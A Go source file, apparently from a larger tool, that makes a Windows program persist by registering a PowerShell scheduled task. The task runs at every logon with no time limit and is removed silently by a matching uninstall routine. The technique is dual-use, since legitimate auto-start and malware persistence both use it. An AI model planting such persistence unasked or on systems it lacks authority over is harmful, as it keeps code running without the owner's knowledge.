2026-03-21 02:12:35 -05:00
|
|
|
//go:build windows && persist_taskscheduler
|
|
|
|
|
// +build windows,persist_taskscheduler
|
|
|
|
|
|
|
|
|
|
package persistence
|
|
|
|
|
|
|
|
|
|
import (
|
|
|
|
|
"fmt"
|
|
|
|
|
"strings"
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
func init() {
|
|
|
|
|
persistInstallFn = installTaskScheduler
|
|
|
|
|
persistUninstallFns = append(persistUninstallFns, uninstallTaskScheduler)
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func installTaskScheduler(targetPath string) error {
|
|
|
|
|
taskName := deriveTaskName(targetPath)
|
|
|
|
|
safe := strings.ReplaceAll(targetPath, "'", "''")
|
|
|
|
|
script := fmt.Sprintf(
|
|
|
|
|
`$a = New-ScheduledTaskAction -Execute '%s'; `+
|
|
|
|
|
`$t = New-ScheduledTaskTrigger -AtLogOn; `+
|
|
|
|
|
`$s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; `+
|
|
|
|
|
`Register-ScheduledTask -TaskName '%s' -Action $a -Trigger $t -Settings $s -Force | Out-Null`,
|
|
|
|
|
safe, taskName)
|
|
|
|
|
return runPowerShell(script)
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func uninstallTaskScheduler() error {
|
2026-03-21 03:06:35 -05:00
|
|
|
prefix := executablePrefix()
|
2026-03-21 02:12:35 -05:00
|
|
|
return runPowerShell(
|
|
|
|
|
`Get-ScheduledTask -ErrorAction SilentlyContinue | ` +
|
2026-03-21 03:06:35 -05:00
|
|
|
`Where-Object { $_.TaskName -like '` + prefix + `*' } | ` +
|
2026-03-21 02:12:35 -05:00
|
|
|
`Unregister-ScheduledTask -Confirm:$false -ErrorAction SilentlyContinue`)
|
|
|
|
|
}
|